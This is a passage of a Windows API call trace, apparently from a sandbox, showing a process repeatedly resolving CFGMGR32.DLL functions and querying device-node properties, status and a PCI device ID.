(hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.608] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0229.608] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.608] malloc (_Size=0x48) returned 0x196ef0fba40 [0229.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69b52649, dwHighDateTime=0x1d9eb0c)) [0229.608] SetEvent (hEvent=0x248) returned 1 [0229.661] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.661] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.661] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.662] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.664] malloc (_Size=0x18) returned 0x196ef0d1f20 [0229.664] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.665] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0229.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69beaace, dwHighDateTime=0x1d9eb0c)) [0229.665] SetEvent (hEvent=0x248) returned 1 [0229.668] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.668] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.672] malloc (_Size=0x18) returned 0x196ef0d1b40 [0229.672] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.672] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0229.672] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69c10daa, dwHighDateTime=0x1d9eb0c)) [0229.673] SetEvent (hEvent=0x248) returned 1 [0229.678] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.678] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.681] malloc (_Size=0x18) returned 0x196ef0d1e60 [0229.681] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.684] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0229.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69c10daa, dwHighDateTime=0x1d9eb0c)) [0229.685] SetEvent (hEvent=0x248) returned 1 [0229.688] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.688] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.688] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.689] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.691] malloc (_Size=0x18) returned 0x196ef0d1f40 [0229.691] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x30, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0229.691] malloc (_Size=0x48) returned 0x196ef0fb680 [0229.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x69c36f1d, dwHighDateTime=0x1d9eb0c)) [0229.692] SetEvent (hEvent=0x248) returned 1 [0229.696] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.696] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.696] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.697] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.698] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.699] malloc (_Size=0x18) returned 0x196ef0d1f60 [0229.699] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x30, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0229.700] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0229.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x69c36f1d, dwHighDateTime=0x1d9eb0c)) [0229.700] SetEvent (hEvent=0x248) returned 1 [0229.754] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.754] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.757] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.757] malloc (_Size=0x18) returned 0x196ef0d1a80 [0229.757] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.758] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0229.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69ccfcfd, dwHighDateTime=0x1d9eb0c)) [0229.758] SetEvent (hEvent=0x248) returned 1 [0229.763] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.763] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.763] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.764] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.766] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0229.766] CM_Get_Device_IDA (in: dnDevInst=0x31, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_29C0&SUBSYS_11001AF4&REV_00\\3&11583659&0&00") returned 0x0 [0229.766] malloc (_Size=0x48) returned 0x196ef0fb220 [0229.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x69cf5ba5, dwHighDateTime=0x1d9eb0c)) [0229.766] SetEvent (hEvent=0x248) returned 1 [0229.770] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.770] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.773] malloc (_Size=0x18) returned 0x196ef0d1960 [0229.773] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0229.774] malloc (_Size=0x124) returned 0x196ef0d67b0 [0229.774] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0229.774] free (_Block=0x196ef0d67b0) [0229.774] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0229.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x69cf5ba5, dwHighDateTime=0x1d9eb0c)) [0229.775] SetEvent (hEvent=0x248) returned 1 [0229.777] malloc 